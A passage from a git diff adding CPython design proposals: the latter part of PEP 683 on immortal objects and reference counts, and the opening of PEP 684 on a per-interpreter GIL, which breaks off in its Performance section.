sharing data from shared object +files between processes. + + +Rationale +========= + +The proposed solution is obvious enough that both of this proposal's +authors came to the same conclusion (and implementation, more or less) +independently. The Pyston project `uses a similar approach `_. +Other designs were also considered. Several possibilities have also +been discussed on python-dev in past years. + +Alternatives include: + +* use a high bit to mark "immortal" but do not change ``Py_INCREF()`` +* add an explicit flag to objects +* implement via the type (``tp_dealloc()`` is a no-op) +* track via the object's type object +* track with a separate table + +Each of the above makes objects immortal, but none of them address +the performance penalties from refcount modification described above. + +In the case of per-interpreter GIL, the only realistic alternative +is to move all global objects into ``PyInterpreterState`` and add +one or more lookup functions to access them. Then we'd have to +add some hacks to the C-API to preserve compatibility for the +may objects exposed there. The story is much, much simpler +with immortal objects + + +Impact +====== + +Benefits +-------- + +Most notably, the cases described in the above examples stand +to benefit greatly from immortal objects. Projects using pre-fork +can drop their workarounds. For the per-interpreter GIL project, +immortal objects greatly simplifies the solution for existing static +types, as well as objects exposed by the public C-API. + +In general, a strong immutability guarantee for objects enables Python +applications to scale like never before. This is because they can +then leverage multi-core parallelism without a tradeoff in memory +usage. This is reflected in most of the above cases. + +Performance +----------- + +A naive implementation shows `a 4% slowdown`_. We have demonstrated +a return to performance-neutral with a handful of basic mitigations +applied. See the `mitigation`_ section below. + +On the positive side, immortal objects save a significant amount of +memory when used with a pre-fork model. Also, immortal objects provide +opportunities for specialization in the eval loop that would improve +performance. + +.. _a 4% slowdown: https://github.com/python/cpython/pull/19474#issuecomment-1032944709 + +Backward Compatibility +---------------------- + +Ideally this internal-only feature would be completely compatible. +However, it does involve a change to refcount semantics in some cases. +Only immortal objects are affected, but this includes high-use objects +like ``None``, ``True``, and ``False``. + +Specifically, when an immortal object is involved: + +* code that inspects the refcount will see a really, really large value +* the new noop behavior may break code that: + + * depends specifically on the refcount to always increment or decrement + (or have a specific value from ``Py_SET_REFCNT()``) + * relies on any specific refcount value, other than 0 or 1 + * directly manipulates the refcount to store extra information there + +* in 32-bit pre-3.11 `Stable ABI`_ extensions, + objects may leak due to `Accidental Immortality`_ +* such extensions may crash due to `Accidental De-Immortalizing`_ + +Again, those changes in behavior only apply to immortal objects, not +most of the objects a user will access. Furthermore, users cannot mark +an object as immortal so no user-created objects will ever have that +changed behavior. Users that rely on any of the changing behavior for +global (builtin) objects are already in trouble. So the overall impact +should be small. + +Also note that code which checks for refleaks should keep working fine, +unless it checks for hard-coded small values relative to some immortal +object. The problems noticed by `Pyston`_ shouldn't apply here since +we do not modify the refcount. + +See `Public Refcount Details`_ below for further discussion. + +Accidental Immortality +'''''''''''''''''''''' + +Hypothetically, a non-immortal object could be incref'ed so much +that it reaches the magic value needed to be considered immortal. +That means it would accidentally never be cleaned up +(by going back to 0). + +On 64-bit builds, this accidental scenario is so unlikely that we need +not worry. Even if done deliberately by using ``Py_INCREF()`` in a +tight loop and each iteration only took 1 CPU cycle, it would take +2^60 cycles (if the immortal bit were 2^60). At a fast 5 GHz that would +still take nearly 250,000,000 seconds (over 2,500 days)! + +Also note that it is doubly unlikely to be a problem because it wouldn't +matter until the refcount got back to 0 and the object was cleaned up. +So any object that hit that magic "immortal" refcount value would have +to be decref'ed that many times again before the change in behavior +would be noticed. + +Again, the only realistic way that the magic refcount would be reached +(and then reversed) is if it were done deliberately. (Of course, the +same thing could be done efficiently using ``Py_SET_REFCNT()`` though +that would be even less of an accident.) At that point we don't +consider it a concern of this proposal. + +On 32-bit builds it isn't so obvious. Let's say the magic refcount +were 2^30. Using the same specs as above, it would take roughly +4 seconds to accidentally immortalize an object. Under reasonable +conditions, it is still highly unlikely that an object be accidentally +immortalized. It would have to meet these criteria: + +* targeting a non-immortal object (so not one of the high-use builtins) +* the extension increfs without a corresponding decref + (e.g. returns from a function or method) +* no other code decrefs the object in the meantime + +Even at a much less frequent rate incref it would not take long to reach +accidental immortality (on 32-bit). However, then it would have to run +through the same number of (now noop-ing) decrefs before that one object +would be effectively leaking. This is highly unlikely, especially because +the calculations assume no decrefs. + +Furthermore, this isn't all that different from how such 32-bit extensions +can already incref an object past 2^31 and turn the refcount negative. +If that were an actual problem then we would have heard about it. + +Between all of the above cases, the proposal doesn't consider +accidental immortality a problem. + +Stable ABI +'''''''''' + +The implementation approach described in this PEP is compatible +with extensions compiled to the stable ABI (with the exception +of `Accidental Immortality`_ and `Accidental De-Immortalizing`_). +Due to the nature of the stable ABI, unfortunately, such extensions +use versions of ``Py_INCREF()``, etc. that directly modify the object's +``ob_refcnt`` field. This will invalidate all the performance benefits +of immortal objects. + +However, we do ensure that immortal objects (mostly) stay immortal +in that situation. We set the initial refcount of immortal objects to +a value high above the magic refcount value, but one that still matches +the high bit. Thus we can still identify such objects as immortal. +(See `_Py_IMMORTAL_REFCNT`_.) At worst, objects in that situation +would feel the effects described in the `Motivation`_ section. +Even then the overall impact is unlikely to be significant. + +Accidental De-Immortalizing +''''''''''''''''''''''''''' + +32-bit builds of older stable ABI extensions can take `Accidental Immortality`_ +to the next level. + +Hypothetically, such an extension could incref an object to a value on +the next highest bit above the magic refcount value. For example, if +the magic value were 2^30 and the initial immortal refcount were thus +2^30 + 2^29 then it would take 2^29 increfs by the extension to reach +a value of 2^31, making the object non-immortal. +(Of course, a refcount that high would probably already cause a crash, +regardless of immortal objects.) + +The more problematic case is where such a 32-bit stable ABI extension +goes crazy decref'ing an already immortal object. Continuing with the +above example, it would take 2^29 asymmetric decrefs to drop below the +magic immortal refcount value. So an object like ``None`` could be +made mortal and subject to decref. That still wouldn't be a problem +until somehow the decrefs continue on that object until it reaches 0. +For many immortal objects, like ``None``, the extension will crash +the process if it tries to dealloc the object. For the other +immortal objects, the dealloc might be okay. However, there will +be runtime code expecting the formerly-immortal object to be around +forever. That code will probably crash. + +Again, the likelihood of this happening is extremely small, even on +32-bit builds. It would require roughly a billion decrefs on that +one object without a corresponding incref. The most likely scenario is +the following: + +A "new" reference to ``None`` is returned by many functions and methods. +Unlike with non-immortal objects, the 3.11 runtime will almost never +incref ``None`` before giving it to the extension. However, the +extension *will* decref it when done with it (unless it returns it). +Each time that exchange happens with the one object, we get one step +closer to a crash. + +How realistic is it that some form of that exchange (with a single +object) will happen a billion times in the lifetime of a Python process +on 32-bit? If it is a problem, how could it be addressed? + +As to how realistic, the answer isn't clear currently. However, the +mitigation is simple enough that we can safely proceed under the +assumption that it would be a problem. + +Here are some possible solutions (only needed on 32-bit): + +* periodically reset the refcount for immortal objects + (only enable this if a stable ABI extension is imported?) +* special-case immortal objects in tp_dealloc() for the relevant types + (but not int, due to frequency?) +* provide a runtime flag for disabling immortality + +Alternate Python Implementations +-------------------------------- + +This proposal is CPython-specific. However, it does relate to the +behavior of the C-API, which may affect other Python implementations. +Consequently, the effect of changed behavior described in +`Backward Compatibility`_ above also applies here (e.g. if another +implementation is tightly coupled to specific refcount values, other +than 0, or on exactly how refcounts change, then they may impacted). + +Security Implications +--------------------- + +This feature has no known impact on security. + +Maintainability +--------------- + +This is not a complex feature so it should not cause much mental +overhead for maintainers. The basic implementation doesn't touch +much code so it should have much impact on maintainability. There +may be some extra complexity due to performance penalty mitigation. +However, that should be limited to where we immortalize all +objects post-init and that code will be in one place. + + +Specification +============= + +The approach involves these fundamental changes: + +* add `_Py_IMMORTAL_REFCNT`_ (the magic value) to the internal C-API +* update ``Py_INCREF()`` and ``Py_DECREF()`` to no-op for objects with + the magic refcount (or its most significant bit) +* do the same for any other API that modifies the refcount +* stop modifying ``PyGC_Head`` for immortal GC objects ("containers") +* ensure that all immortal objects are cleaned up during + runtime finalization + +Then setting any object's refcount to ``_Py_IMMORTAL_REFCNT`` +makes it immortal. + +(There are other minor, internal changes which are not described here.) + +In the following sub-sections we dive into the details. First we will +cover some conceptual topics, followed by more concrete aspects like +specific affected APIs. + +Public Refcount Details +----------------------- + +In `Backward Compatibility`_ we introduced possible ways that user code +might be broken by the change in this proposal. Any contributing +misunderstanding by users is likely due in large part to the names of +the refcount-related API and to how the documentation explains those +API (and refcounting in general). + +Between the names and the docs, we can clearly see answers +to the following questions: + +* what behavior do users expect? +* what guarantees do we make? +* do we indicate how to interpret the refcount value they receive? +* what are the use cases under which a user would set an object's + refcount to a specific value? +* are users setting the refcount of objects they did not create? + +As part of this proposal, we must make sure that users can clearly +understand on which parts of the refcount behavior they can rely and +which are considered implementation details. Specifically, they should +use the existing public refcount-related API and the only refcount +values with any meaning are 0 and 1. (Some code relies on 1 as an +indicator that the object can be safely modified.) All other values +are considered "not 0 or 1". + +This information will be clarified in the `documentation `_. + +Arguably, the existing refcount-related API should be modified to reflect +what we want users to expect. Something like the following: + +* ``Py_INCREF()`` -> ``Py_ACQUIRE_REF()`` (or only support ``Py_NewRef()``) +* ``Py_DECREF()`` -> ``Py_RELEASE_REF()`` +* ``Py_REFCNT()`` -> ``Py_HAS_REFS()`` +* ``Py_SET_REFCNT()`` -> ``Py_RESET_REFS()`` and ``Py_SET_NO_REFS()`` + +However, such a change is not a part of this proposal. It is included +here to demonstrate the tighter focus for user expectations that would +benefit this change. + +Constraints +----------- + +* ensure that otherwise immutable objects can be truly immutable +* minimize performance penalty for normal Python use cases +* be careful when immortalizing objects that we don't actually expect + to persist until runtime finalization. +* be careful when immortalizing objects that are not otherwise immutable +* ``__del__`` and weakrefs must continue working properly + +Regarding "truly" immutable objects, this PEP doesn't impact the +effective immutability of any objects, other than the per-object +runtime state (e.g. refcount). So whether or not some immortal object +is truly (or even effectively) immutable can only be settled separately +from this proposal. For example, str objects are generally considered +immutable, but ``PyUnicodeObject`` holds some lazily cached data. This +PEP has no influence on how that state affects str immutability. + +Immortal Mutable Objects +------------------------ + +Any object can be marked as immortal. We do not propose any +restrictions or checks. However, in practice the value of making an +object immortal relates to its mutability and depends on the likelihood +it would be used for a sufficient portion of the application's lifetime. +Marking a mutable object as immortal can make sense in some situations. + +Many of the use cases for immortal objects center on immutability, so +that threads can safely and efficiently share such objects without +locking. For this reason a mutable object, like a dict or list, would +never be shared (and thus no immortality). However, immortality may +be appropriate if there is sufficient guarantee that the normally +mutable object won't actually be modified. + +On the other hand, some mutable objects will never be shared between +threads (at least not without a lock like the GIL). In some cases it +may be practical to make some of those immortal too. For example, +``sys.modules`` is a per-interpreter dict that we do not expect to ever +get freed until the corresponding interpreter is finalized. By making +it immortal, we no longer incur the extra overhead during incref/decref. + +We explore this idea further in the `mitigation`_ section below. + +Implicitly Immortal Objects +--------------------------- + +If an immortal object holds a reference to a normal (mortal) object +then that held object is effectively immortal. This is because that +object's refcount can never reach 0 until the immortal object releases +it. + +Examples: + +* containers like ``dict`` and ``list`` +* objects that hold references internally like ``PyTypeObject.tp_subclasses`` +* an object's type (held in ``ob_type``) + +Such held objects are thus implicitly immortal for as long as they are +held. In practice, this should have no real consequences since it +really isn't a change in behavior. The only difference is that the +immortal object (holding the reference) doesn't ever get cleaned up. + +We do not propose that such implicitly immortal objects be changed +in any way. They should not be explicitly marked as immortal just +because they are held by an immortal object. That would provide +no advantage over doing nothing. + +Un-Immortalizing Objects +------------------------ + +This proposal does not include any mechanism for taking an immortal +object and returning it to a "normal" condition. Currently there +is no need for such an ability. + +On top of that, the obvious approach is to simply set the refcount +to a small value. However, at that point there is no way in knowing +which value would be safe. Ideally we'd set it to the value that it +would have been if it hadn't been made immortal. However, that value +has long been lost. Hence the complexities involved make it less +likely that an object could safely be un-immortalized, even if we +had a good reason to do so. + +_Py_IMMORTAL_REFCNT +------------------- + +We will add two internal constants:: + + _Py_IMMORTAL_BIT - has the top-most available bit set (e.g. 2^62) + _Py_IMMORTAL_REFCNT - has the two top-most available bits set + +The actual top-most bit depends on existing uses for refcount bits, +e.g. the sign bit or some GC uses. We will use the highest bit possible +after consideration of existing uses. + +The refcount for immortal objects will be set to ``_Py_IMMORTAL_REFCNT`` +(meaning the value will be halfway between ``_Py_IMMORTAL_BIT`` and the +value at the next highest bit). However, to check if an object is +immortal we will compare (bitwise-and) its refcount against just +``_Py_IMMORTAL_BIT``. + +The difference means that an immortal object will still be considered +immortal, even if somehow its refcount were modified (e.g. by an older +stable ABI extension). + +Note that top two bits of the refcount are already reserved for other +uses. That's why we are using the third top-most bit. + +Affected API +------------ + +API that will now ignore immortal objects: + +* (public) ``Py_INCREF()`` +* (public) ``Py_DECREF()`` +* (public) ``Py_SET_REFCNT()`` +* (private) ``_Py_NewReference()`` + +API that exposes refcounts (unchanged but may now return large values): + +* (public) ``Py_REFCNT()`` +* (public) ``sys.getrefcount()`` + +(Note that ``_Py_RefTotal`` and ``sys.gettotalrefcount()`` +will not be affected.) + +Also, immortal objects will not participate in GC. + +Immortal Global Objects +----------------------- + +All runtime-global (builtin) objects will be made immortal. +That includes the following: + +* singletons (``None``, ``True``, ``False``, ``Ellipsis``, ``NotImplemented``) +* all static types (e.g. ``PyLong_Type``, ``PyExc_Exception``) +* all static objects in ``_PyRuntimeState.global_objects`` (e.g. identifiers, + small ints) + +The question of making them actually immutable (e.g. for +per-interpreter GIL) is not in the scope of this PEP. + +Object Cleanup +-------------- + +In order to clean up all immortal objects during runtime finalization, +we must keep track of them. + +For GC objects ("containers") we'll leverage the GC's permanent +generation by pushing all immortalized containers there. During +runtime shutdown, the strategy will be to first let the runtime try +to do its best effort of deallocating these instances normally. Most +of the module deallocation will now be handled by +``pylifecycle.c:finalize_modules()`` which cleans up the remaining +modules as best as we can. It will change which modules are available +during ``__del__``, but that's already explicitly undefined behavior in the +docs. Optionally, we could do some topological ordering to guarantee +that user modules will be deallocated first before the stdlib modules. +Finally, anything left over (if any) can be found through the permanent +generation GC list which we can clear after ``finalize_modules()``. + +For non-container objects, the tracking approach will vary on a +case-by-case basis. In nearly every case, each such object is directly +accessible on the runtime state, e.g. in a ``_PyRuntimeState`` or +``PyInterpreterState`` field. We may need to add a tracking mechanism +to the runtime state for a small number of objects. + +None of the cleanup will have a significant effect on performance. + +.. _mitigation: + +Performance Regression Mitigation +--------------------------------- + +In the interest of clarity, here are some of the ways we are going +to try to recover some of the lost `performance `_: + +* at the end of runtime init, mark all objects as immortal +* drop refcount operations in code where we know the object is immortal + (e.g. ``Py_RETURN_NONE``) +* specialize for immortal objects in the eval loop (see `Pyston`_) + +Regarding that first point, we can apply the concept from +`Immortal Mutable Objects`_ in the pursuit of getting back some of +that 4% performance we lose with the naive implementation of immortal +objects. At the end of runtime init we can mark *all* objects as +immortal and avoid the extra cost in incref/decref. We only need +to worry about immutability with objects that we plan on sharing +between threads without a GIL. + +Note that none of this section is part of the proposal. +The above is included here for clarity. + +Possible Changes +---------------- + +* mark every interned string as immortal +* mark the "interned" dict as immortal if shared else share all interned strings +* (Larry,MvL) mark all constants unmarshalled for a module as immortal +* (Larry,MvL) allocate (immutable) immortal objects in their own memory page(s) + +Documentation +------------- + +The immortal objects behavior and API are internal, implementation +details and will not be added to the documentation. + +However, we will update the documentation to make public guarantees +about refcount behavior more clear. That includes, specifically: + +* ``Py_INCREF()`` - change "Increment the reference count for object o." + to "Indicate taking a new reference to object o." +* ``Py_DECREF()`` - change "Decrement the reference count for object o." + to "Indicate no longer using a previously taken reference to object o." +* similar for ``Py_XINCREF()``, ``Py_XDECREF()``, ``Py_NewRef()``, + ``Py_XNewRef()``, ``Py_Clear()`` +* ``Py_REFCNT()`` - add "The refcounts 0 and 1 have specific meanings + and all others only mean code somewhere is using the object, + regardless of the value. + 0 means the object is not used and will be cleaned up. + 1 means code holds exactly a single reference." +* ``Py_SET_REFCNT()`` - refer to ``Py_REFCNT()`` about how values over 1 + may be substituted with some over value + +We *may* also add a note about immortal objects to the following, +to help reduce any surprise users may have with the change: + +* ``Py_SET_REFCNT()`` (a no-op for immortal objects) +* ``Py_REFCNT()`` (value may be surprisingly large) +* ``sys.getrefcount()`` (value may be surprisingly large) + +Other API that might benefit from such notes are currently undocumented. +We wouldn't add such a note anywhere else (including for ``Py_INCREF()`` +and ``Py_DECREF()``) since the feature is otherwise transparent to users. + + +Reference Implementation +======================== + +The implementation is proposed on GitHub: + +https://github.com/python/cpython/pull/19474 + + +Open Issues +=========== + +* how realistic is the `Accidental De-Immortalizing`_ concern? + + +References +========== + +.. _Pyston: https://mail.python.org/archives/list/python-dev@python.org/message/JLHRTBJGKAENPNZURV4CIJSO6HI62BV3/ + +Prior Art +--------- + +* `Pyston`_ + +Discussions +----------- + +This was discussed in December 2021 on python-dev: + +* https://mail.python.org/archives/list/python-dev@python.org/thread/7O3FUA52QGTVDC6MDAV5WXKNFEDRK5D6/#TBTHSOI2XRWRO6WQOLUW3X7S5DUXFAOV +* https://mail.python.org/archives/list/python-dev@python.org/thread/PNLBJBNIQDMG2YYGPBCTGOKOAVXRBJWY + +Runtime Object State +-------------------- + +Here is the internal state that the CPython runtime keeps +for each Python object: + +* `PyObject.ob_refcnt`_: the object's `refcount `_ +* `_PyGC_Head `_: (optional) the object's node in a list of `"GC" objects `_ +* `_PyObject_HEAD_EXTRA `_: (optional) the object's node in the list of heap objects + +``ob_refcnt`` is part of the memory allocated for every object. +However, ``_PyObject_HEAD_EXTRA`` is allocated only if CPython was built +with ``Py_TRACE_REFS`` defined. ``PyGC_Head`` is allocated only if the +object's type has ``Py_TPFLAGS_HAVE_GC`` set. Typically this is only +container types (e.g. ``list``). Also note that ``PyObject.ob_refcnt`` +and ``_PyObject_HEAD_EXTRA`` are part of ``PyObject_HEAD``. + +.. _PyObject.ob_refcnt: https://github.com/python/cpython/blob/80a9ba537f1f1666a9e6c5eceef4683f86967a1f/Include/object.h#L107 +.. _PyGC_Head: https://github.com/python/cpython/blob/80a9ba537f1f1666a9e6c5eceef4683f86967a1f/Include/internal/pycore_gc.h#L11-L20 +.. _PyObject_HEAD_EXTRA: https://github.com/python/cpython/blob/80a9ba537f1f1666a9e6c5eceef4683f86967a1f/Include/object.h#L68-L72 + +.. _refcounting: + +Reference Counting, with Cyclic Garbage Collection +-------------------------------------------------- + +Garbage collection is a memory management feature of some programming +languages. It means objects are cleaned up (e.g. memory freed) +once they are no longer used. + +Refcounting is one approach to garbage collection. The language runtime +tracks how many references are held to an object. When code takes +ownership of a reference to an object or releases it, the runtime +is notified and it increments or decrements the refcount accordingly. +When the refcount reaches 0, the runtime cleans up the object. + +With CPython, code must explicitly take or release references using +the C-API's ``Py_INCREF()`` and ``Py_DECREF()``. These macros happen +to directly modify the object's refcount (unfortunately, since that +causes ABI compatibility issues if we want to change our garbage +collection scheme). Also, when an object is cleaned up in CPython, +it also releases any references (and resources) it owns +(before it's memory is freed). + +Sometimes objects may be involved in reference cycles, e.g. where +object A holds a reference to object B and object B holds a reference +to object A. Consequently, neither object would ever be cleaned up +even if no other references were held (i.e. a memory leak). The +most common objects involved in cycles are containers. + +CPython has dedicated machinery to deal with reference cycles, which +we call the "cyclic garbage collector", or often just +"garbage collector" or "GC". Don't let the name confuse you. +It only deals with breaking reference cycles. + +See the docs for a more detailed explanation of refcounting +and cyclic garbage collection: + +* https://docs.python.org/3.11/c-api/intro.html#reference-counts +* https://docs.python.org/3.11/c-api/refcounting.html +* https://docs.python.org/3.11/c-api/typeobj.html#c.PyObject.ob_refcnt +* https://docs.python.org/3.11/c-api/gcsupport.html + + +Copyright +========= + +This document is placed in the public domain or under the +CC0-1.0-Universal license, whichever is more permissive. + + + +.. + Local Variables: + mode: indented-text + indent-tabs-mode: nil + sentence-end-double-space: t + fill-column: 70 + coding: utf-8 + End: diff --git a/pep-0684.rst b/pep-0684.rst new file mode 100644 index 00000000000..6ed98e61635 --- /dev/null +++ b/pep-0684.rst @@ -0,0 +1,634 @@ +PEP: 684 +Title: A Per-Interpreter GIL +Author: Eric Snow +Discussions-To: https://mail.python.org/archives/list/python-dev@python.org/thread/CF7B7FMACFYDAHU6NPBEVEY6TOSGICXU/ +Status: Draft +Type: Standards Track +Content-Type: text/x-rst +Created: 08-Mar-2022 +Python-Version: 3.11 +Post-History: `08-Mar-2022 `__ +Resolution: + +.. XXX Split out an informational PEP with all the relevant info, + based on the "Consolidating Runtime Global State" section? + +Abstract +======== + +Since Python 1.5 (1997), CPython users can run multiple interpreters +in the same process. However, interpreters in the same process +have always shared a significant +amount of global state. This is a source of bugs, with a growing +impact as more and more people use the feature. Furthermore, +sufficient isolation would facilitate true multi-core parallelism, +where interpreters no longer share the GIL. The changes outlined in +this proposal will result in that level of interpreter isolation. + + +High-Level Summary +================== + +At a high level, this proposal changes CPython in the following ways: + +* stops sharing the GIL between interpreters, given sufficient isolation +* adds several new interpreter config options for isolation settings +* adds some public C-API for fine-grained control when creating interpreters +* keeps incompatible extensions from causing problems + +The GIL +------- + +The GIL protects concurrent access to most of CPython's runtime state. +So all that GIL-protected global state must move to each interpreter +before the GIL can. + +(In a handful of cases, other mechanisms can be used to ensure +thread-safe sharing instead, such as locks or "immortal" objects.) + +CPython Runtime State +--------------------- + +Properly isolating interpreters requires that most of CPython's +runtime state be stored in the ``PyInterpreterState`` struct. Currently, +only a portion of it is; the rest is found either in global variables +or in ``_PyRuntimeState``. Most of that will have to be moved. + +This directly coincides with an ongoing effort (of many years) to greatly +reduce internal use of C global variables and consolidate the runtime +state into ``_PyRuntimeState`` and ``PyInterpreterState``. +(See `Consolidating Runtime Global State`_ below.) That project has +`significant merit on its own `_ +and has faced little controversy. So, while a per-interpreter GIL +relies on the completion of that effort, that project should not be +considered a part of this proposal--only a dependency. + +Other Isolation Considerations +------------------------------ + +CPython's interpreters must be strictly isolated from each other, with +few exceptions. To a large extent they already are. Each interpreter +has its own copy of all modules, classes, functions, and variables. +The CPython C-API docs `explain further `_. + +.. _caveats: https://docs.python.org/3/c-api/init.html#bugs-and-caveats + +However, aside from what has already been mentioned (e.g. the GIL), +there are a couple of ways in which interpreters still share some state. + +First of all, some process-global resources (e.g. memory, +file descriptors, environment variables) are shared. There are no +plans to change this. + +Second, some isolation is faulty due to bugs or implementations that +did not take multiple interpreters into account. This includes +CPython's runtime and the stdlib, as well as extension modules that +rely on global variables. Bugs should be opened in these cases, +as some already have been. + +Depending on Immortal Objects +----------------------------- + +:pep:`683` introduces immortal objects as a CPython-internal feature. +With immortal objects, we can share any otherwise immutable global +objects between all interpreters. Consequently, this PEP does not +need to address how to deal with the various objects +`exposed in the public C-API `_. +It also simplifies the question of what to do about the builtin +static types. (See `Global Objects`_ below.) + +Both issues have alternate solutions, but everything is simpler with +immortal objects. If PEP 683 is not accepted then this one will be +updated with the alternatives. This lets us reduce noise in this +proposal. + + +Motivation +========== + +The fundamental problem we're solving here is a lack of true multi-core +parallelism (for Python code) in the CPython runtime. The GIL is the +cause. While it usually isn't a problem in practice, at the very least +it makes Python's multi-core story murky, which makes the GIL +a consistent distraction. + +Isolated interpreters are also an effective mechanism to support +certain concurrency models. :pep:`554` discusses this in more detail. + +Indirect Benefits +----------------- + +Most of the effort needed for a per-interpreter GIL has benefits that +make those tasks worth doing anyway: + +* makes multiple-interpreter behavior more reliable +* has led to fixes for long-standing runtime bugs that otherwise + hadn't been prioritized +* has been exposing (and inspiring fixes for) previously unknown runtime bugs +* has driven cleaner runtime initialization (:pep:`432`, :pep:`587`) +* has driven cleaner and more complete runtime finalization +* led to structural layering of the C-API (e.g. ``Include/internal``) +* also see `Benefits to Consolidation`_ below + +Furthermore, much of that work benefits other CPython-related projects: + +* performance improvements ("faster-cpython") +* pre-fork application deployment (e.g. Instagram) +* extension module isolation (see :pep:`630`, etc.) +* embedding CPython + +Existing Use of Multiple Interpreters +------------------------------------- + +The C-API for multiple interpreters has been used for many years. +However, until relatively recently the feature wasn't widely known, +nor extensively used (with the exception of mod_wsgi). + +In the last few years use of multiple interpreters has been increasing. +Here are some of the public projects using the feature currently: + +* `mod_wsgi `_ +* `OpenStack Ceph `_ +* `JEP `_ +* `Kodi `_ + +Note that, with :pep:`554`, multiple interpreter usage would likely +grow significantly (via Python code rather than the C-API). + +PEP 554 +------- + +:pep:`554` is strictly about providing a minimal stdlib module +to give users access to multiple interpreters from Python code. +In fact, it specifically avoids proposing any changes related to +the GIL. Consider, however, that users of that module would benefit +from a per-interpreter GIL, which makes PEP 554 more appealing. + + +Rationale +========= + +During initial investigations in 2014, a variety of possible solutions +for multi-core Python were explored, but each had its drawbacks +without simple solutions: + +* the existing practice of releasing the GIL in extension modules + * doesn't help with Python code +* other Python implementations (e.g. Jython, IronPython) + * CPython dominates the community +* remove the GIL (e.g. gilectomy, "no-gil") + * too much technical risk (at the time) +* Trent Nelson's "PyParallel" project + * incomplete; Windows-only at the time +* ``multiprocessing`` + + * too much work to make it effective enough; + high penalties in some situations (at large scale, Windows) + +* other parallelism tools (e.g. dask, ray, MPI) + * not a fit for the stdlib +* give up on multi-core (e.g. async, do nothing) + * this can only end in tears + +Even in 2014, it was fairly clear that a solution using isolated +interpreters did not have a high level of technical risk and that +most of the work was worth doing anyway. +(The downside was the volume of work to be done.) + + +Specification +============= + +As `summarized above `__, this proposal involves the +following changes, in the order they must happen: + +1. `consolidate global runtime state `_ + (including objects) into ``_PyRuntimeState`` +2. move nearly all of the state down into ``PyInterpreterState`` +3. finally, move the GIL down into ``PyInterpreterState`` +4. everything else + * add to the public C-API + * implement restrictions in ``ExtensionFileLoader`` + + * work with popular extension maintainers to help + with multi-interpreter support + +Per-Interpreter State +--------------------- + +The following runtime state will be moved to ``PyInterpreterState``: + +* all global objects that are not safely shareable (fully immutable) +* the GIL +* mutable, currently protected by the GIL +* mutable, currently protected by some other per-interpreter lock +* mutable, may be used independently in different interpreters +* all other mutable (or effectively mutable) state + not otherwise excluded below + +Furthermore, a number of parts of the global state have already been +moved to the interpreter, such as GC, warnings, and atexit hooks. + +The following state will not be moved: + +* global objects that are safely shareable, if any +* immutable, often ``const`` +* treated as immutable +* related to CPython's ``main()`` execution +* related to the REPL +* set during runtime init, then treated as immutable +* mutable, protected by some global lock +* mutable, atomic + +Note that currently the allocators (see ``Objects/obmalloc.c``) are shared +between all interpreters, protected by the GIL. They will need to move +to each interpreter (or a global lock will be needed). This is the +highest risk part of the work to isolate interpreters and may require +more than just moving fields down from ``_PyRuntimeState``. Some of +the complexity is reduced if CPython switches to a thread-safe +allocator like mimalloc. + +.. _proposed capi: + +C-API +----- + +The following private API will be made public: + +* ``_PyInterpreterConfig`` +* ``_Py_NewInterpreter()`` (as ``Py_NewInterpreterEx()``) + +The following fields will be added to ``PyInterpreterConfig``: + +* ``own_gil`` - (bool) create a new interpreter lock + (instead of sharing with the main interpreter) +* ``strict_extensions`` - fail import in this interpreter for + incompatible extensions (see `Restricting Extension Modules`_) + +Restricting Extension Modules +----------------------------- + +Extension modules have many of the same problems as the runtime when +state is stored in global variables. :pep:`630` covers all the details +of what extensions must do to support isolation, and thus safely run in +multiple interpreters at once. This includes dealing with their globals. + +Extension modules that do not implement isolation will only run in +the main interpreter. In all other interpreters, the import will +raise ``ImportError``. This will be done through +``importlib._bootstrap_external.ExtensionFileLoader``. + +We will work with popular extensions to help them support use in +multiple interpreters. This may involve adding to CPython's public C-API, +which we will address on a case-by-case basis. + +Extension Module Compatibility +'''''''''''''''''''''''''''''' + +As noted in `Extension Modules`_, many extensions work fine in multiple +interpreters without needing any changes. The import system will still +fail if such a module doesn't explicitly indicate support. At first, +not many extension modules will, so this is a potential source +of frustration. + +We will address this by adding a context manager to temporarily disable +the check on multiple interpreter support: +``importlib.util.allow_all_extensions()``. + +Documentation +------------- + +The "Sub-interpreter support" section of ``Doc/c-api/init.rst`` will be +updated with the added API. + + +Impact +====== + +Backwards Compatibility +----------------------- + +No behavior or APIs are intended to change due to this proposal, +with one exception noted in `the next section `_. +The existing C-API for managing interpreters will preserve its current +behavior, with new behavior exposed through new API. No other API +or runtime behavior is meant to change, including compatibility with +the stable ABI. + +See `Objects Exposed in the C-API`_ below for related discussion. + +Extension Modules +''''''''''''''''' + +Currently the most common usage of Python, by far, is with the main +interpreter running by itself. This proposal has zero impact on +extension modules in that scenario. Likewise, for better or worse, +there is no change in behavior under multiple interpreters created +using the existing ``Py_NewInterpreter()``. + +Keep in mind that some extensions already break when used in multiple +interpreters, due to keeping module state in global variables. They +may crash or, worse, experience inconsistent behavior. That was part +of the motivation for :pep:`630` and friends, so this is not a new +situation nor a consequence of this proposal. + +In contrast, when the `proposed API `_ is used to +create multiple interpreters, the default behavior will change for +some extensions. In that case, importing an extension will fail +(outside the main interpreter) if it doesn't indicate support for +multiple interpreters. For extensions that already break in +multiple interpreters, this will be an improvement. + +Now we get to the break in compatibility mentioned above. Some +extensions are safe under multiple interpreters, even though they +haven't indicated that. Unfortunately, there is no reliable way for +the import system to infer that such an extension is safe, so +importing them will still fail. This case is addressed in +`Extension Module Compatibility`_ below. + +Extension Module Maintainers +---------------------------- + +One related consideration is that a per-interpreter GIL will likely +drive increased use of multiple interpreters, particularly if :pep:`554` +is accepted. Some maintainers of large extension modules have expressed +concern about the increased burden they anticipate due to increased +use of multiple interpreters. + +Specifically, enabling support for multiple interpreters will require +substantial work for some extension modules. To add that support, +the maintainer(s) of such a module (often volunteers) would have to +set aside their normal priorities and interests to focus on +compatibility (see :pep:`630`). + +Of course, extension maintainers are free to not add support for use +in multiple interpreters. However, users will increasingly demand +such support, especially if the feature grows +in popularity. + +Either way, the situation can be stressful for maintainers of such +extensions, particularly when they are doing the work in their spare +time. The concerns they have expressed are understandable, and we address +the partial solution in `Restricting Extension Modules`_ below. + +Alternate Python Implementations +-------------------------------- + +Other Python implementation are not required to provide support for +multiple interpreters in the same process (though some do already). + +Security Implications +--------------------- + +There is no known impact to security with this proposal. + +Maintainability +--------------- + +On the one hand, this proposal has already motivated a number of +improvements that make CPython *more* maintainable. That is expected +to continue. On the other hand, the underlying work has already +exposed various pre-existing defects in the runtime that have had +to be fixed. That is also expected to continue as multiple interpreters +receive more use. Otherwise, there shouldn't be a significant impact +on maintainability, so the net effect should be positive. + +Performance +----------- + +The work to 